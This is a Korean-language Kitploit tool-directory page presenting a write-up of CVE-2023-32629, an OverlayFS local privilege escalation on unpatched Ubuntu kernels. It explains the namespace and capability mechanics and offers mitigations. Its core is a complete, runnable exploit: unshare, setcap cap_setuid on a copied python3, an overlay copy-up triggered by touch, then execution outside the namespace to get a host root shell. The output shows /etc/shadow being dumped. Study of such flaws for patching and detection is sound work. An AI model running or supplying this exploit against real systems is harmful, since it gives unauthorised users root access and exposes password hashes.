Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-32629 — OverlayFS 로컬 권한 상승 - 전체 설명부터 완전한 권한 상승까지 | Kitploit
도구/GitHubGitHub/h3raklez/cve-2023-32629
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubh3raklez/cve-2023-32629

CVE-2023-32629

OverlayFS 로컬 권한 상승 - 전체 설명부터 완전한 권한 상승까지

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-32629 — OverlayFS 로컬 전체 권한 상승

OverlayFS 로컬 권한 상승 - 전체 권한 상승까지의 전체 작성

교육 및 승인된 보안 연구 목적으로만 사용하십시오.

심각도: 높음
유형: 로컬 권한 상승 (LPE)
영향: 2023년 5월/6월 패치 이전의 Ubuntu 커널
요구 사항: 권한 없는 사용자 네임스페이스 활성화 (Ubuntu 기본값)


목차

  • 개요
  • 배경 개념
  • 시도 1 — 순진한 SUID 복사
  • 시도 2 — 네임스페이스 내부의 셸
  • 작동하는 익스플로잇
  • 작동 원리
  • 요약

개요

CVE-2023-32629는 Linux 커널의 OverlayFS 구현에서 발생하는 취약점입니다. 사용자 네임스페이스와 파일 시스템 역량 간의 상호 작용을 OverlayFS 복사-업 작업 중에 남용하여, 권한 없는 사용자로부터 실제 호스트 루트로의 로컬 권한 상승을 달성합니다.


배경 개념

사용자 네임스페이스 및 UID 매핑

unshare -r을 실행하면, 커널은 새로운 사용자 네임스페이스를 생성하고 호스트 UID를 내부의 UID 0에 매핑합니다:

root@kitploit:~
/proc/self/uid_map:
  0  1001  1   ←  "네임스페이스 내부의 UID 0 = 외부의 UID 1001 (낮은 권한)"

이는 네임스페이스 내부에서 root로 표시되지만, 호스트 리소스에 대한 파일 시스템 권한 검사를 수행할 때 호스트 커널은 항상 실제 UID로 다시 변환합니다.

OverlayFS 복사-업

OverlayFS는 lowerdir (읽기 전용)과 upperdir (읽기-쓰기)를 병합된 뷰로 쌓습니다. 병합된 뷰를 통해 lowerdir의 파일에 쓰기가 발생하면, 커널은 먼저 해당 파일을 upperdir로 복사합니다. 이를 복사-업이라고 합니다.

중요: 복사-업은 네임스페이스에 관계없이 호스트 자격 증명을 사용하여 커널 자체에 의해 수행됩니다. 파일 시스템 역량을 포함한 모든 확장 속성(xattrs)은 이 작업 중에 보존됩니다.

파일 시스템 역량 대 SUID

메커니즘루트 소유권 필요부여 방식
SUID 비트✅ 예chmod u+s
역량 (cap_setuid)❌ 아니요setcap + 신뢰된 xattr

이 차이가 익스플로잇의 핵심입니다. 역량은 파일의 소유자와 관계없이 xattr만을 기반으로 커널에 의해 존중됩니다.


시도 1 — 순진한 SUID 복사

시도한 내용

root@kitploit:~
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  cp u/python3 /tmp/rootshell &&
  chmod 4755 /tmp/rootshell
"

/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

결과

root@kitploit:~
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted

실패 이유

cp 및 chmod 명령은 네임스페이스 내부에서 실행되었으며, 여기서 UID 0은 호스트의 lowpriv에 매핑됩니다. 따라서:

  • /tmp/rootshell은 실제 루트가 아닌 lowpriv가 소유했습니다.
  • lowpriv가 소유한 파일의 SUID는 오직 lowpriv 권한만 부여합니다. 우리는 이미 이 권한을 가지고 있습니다.
  • 또한 cp 작업은 바이너리에서 역량 xattr를 제거했습니다.

시도 2 — 네임스페이스 내부의 셸

시도한 내용

root@kitploit:~
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"

결과

root@kitploit:~
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied

실패 이유

셸은 네임스페이스 내부에서만 루트였습니다. /etc/shadow에 접근하려 할 때, 커널은 변환된 호스트 UID를 사용하여 VFS 권한 검사를 수행했습니다:

root@kitploit:~
프로세스 UID (네임스페이스 내부):   0        (루트처럼 보임)
커널 변환:                        0 → 1001 (호스트의 lowpriv)
/etc/shadow 권한:                 640 root:shadow
유효 검사자 UID:                 1001 (lowpriv)
결과:                            EACCES — 권한 거부

호스트 파일 시스템 리소스에 접근할 때 네임스페이스 거품은 실제 호스트 루트로 절대 뚫고 나가지 않습니다.


작동하는 익스플로잇

단계

root@kitploit:~
# 1단계: 네임스페이스 내부에서 OverlayFS 설정 후 종료
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  touch m/python3
"
# touch는 커널 복사-업을 트리거: l/python3 → u/python3
# 커널은 HOST 자격 증명으로 복사-업을 실행하며, cap_setuid xattr 보존

# 2단계: 역량이 호스트 파일 시스템에서 살아남았는지 확인
getcap u/python3
# u/python3 cap_setuid=eip  ← 호스트 FS에 설정된 신뢰된 xattr

# 3단계: 네임스페이스 외부에서 실행
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

결과

root@kitploit:~
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...

작동 원리

취약한 기본 요소

root@kitploit:~
1. 사용자 네임스페이스 내부에서 setcap
        │
        │  l/python3에 신뢰된 xattr로 cap_setuid 작성
        ▼
2. touch m/python3  →  OverlayFS 복사-업 트리거
        │
        │  커널이 HOST 자격 증명을 사용하여 l/ → u/ 복사
        │  모든 xattr 보존, cap_setuid 포함
        ▼
3. u/python3이 HOST 파일 시스템에 존재
        │
        │  소유자: lowpriv  (역량에 영향 없음)
        │  xattr: cap_setuid=eip  (커널이 신뢰)
        ▼
4. 네임스페이스 외부에서 u/python3 실행
        │
        │  UID 매핑 적용되지 않음
        │  커널이 cap_setuid=eip를 호스트 수준 역량으로 읽음
        │  os.setuid(0) → 실제 호스트 루트
        ▼
5. 셸이 진정한 UID 0을 가짐
        │
        │  VFS 검사가 실제 루트로 통과
        └─ /etc/shadow 읽기 가능

핵심 통찰

커널은 복사-업 중 사용자 네임스페이스 내에서 설정된 신뢰된 역량 xattr을 존중해서는 안 됩니다. 왜냐하면 이러한 xattr은 호스트 수준의 신뢰를 전달하기 때문입니다. 이 경계를 적용하지 않는 것이 버그입니다.


요약

네임스페이스는 파일에 신뢰된 역량을 설정할 수 있는 능력을 제공했습니다. 커널 복사-업은 그 역량을 호스트 파일 시스템으로 밀반출했습니다. 네임스페이스 외부에서 실행함으로써 실제로 만들었습니다.


완화

  • CVE-2023-32629에 대한 Ubuntu 보안 패치 적용
  • 필요하지 않은 경우 권한 없는 사용자 네임스페이스 비활성화:
    root@kitploit:~
    sysctl -w kernel.unprivileged_userns_clone=0
    
  • 권한 없는 사용자의 예상치 못한 unshare + mount overlayfs 조합 모니터링

고지 사항

이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다. 귀하가 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.

도구 다운로드
네임스페이스 내부네임스페이스 외부
UID 0의 의미lowpriv (매핑됨)실제 루트
setuid(0) 효과무효 (이미 NS-루트)실제 상승
호스트 FS 접근변환됨 → lowpriv전체 루트
cap_setuid 존중 여부NS 내부에서만예, 호스트 수준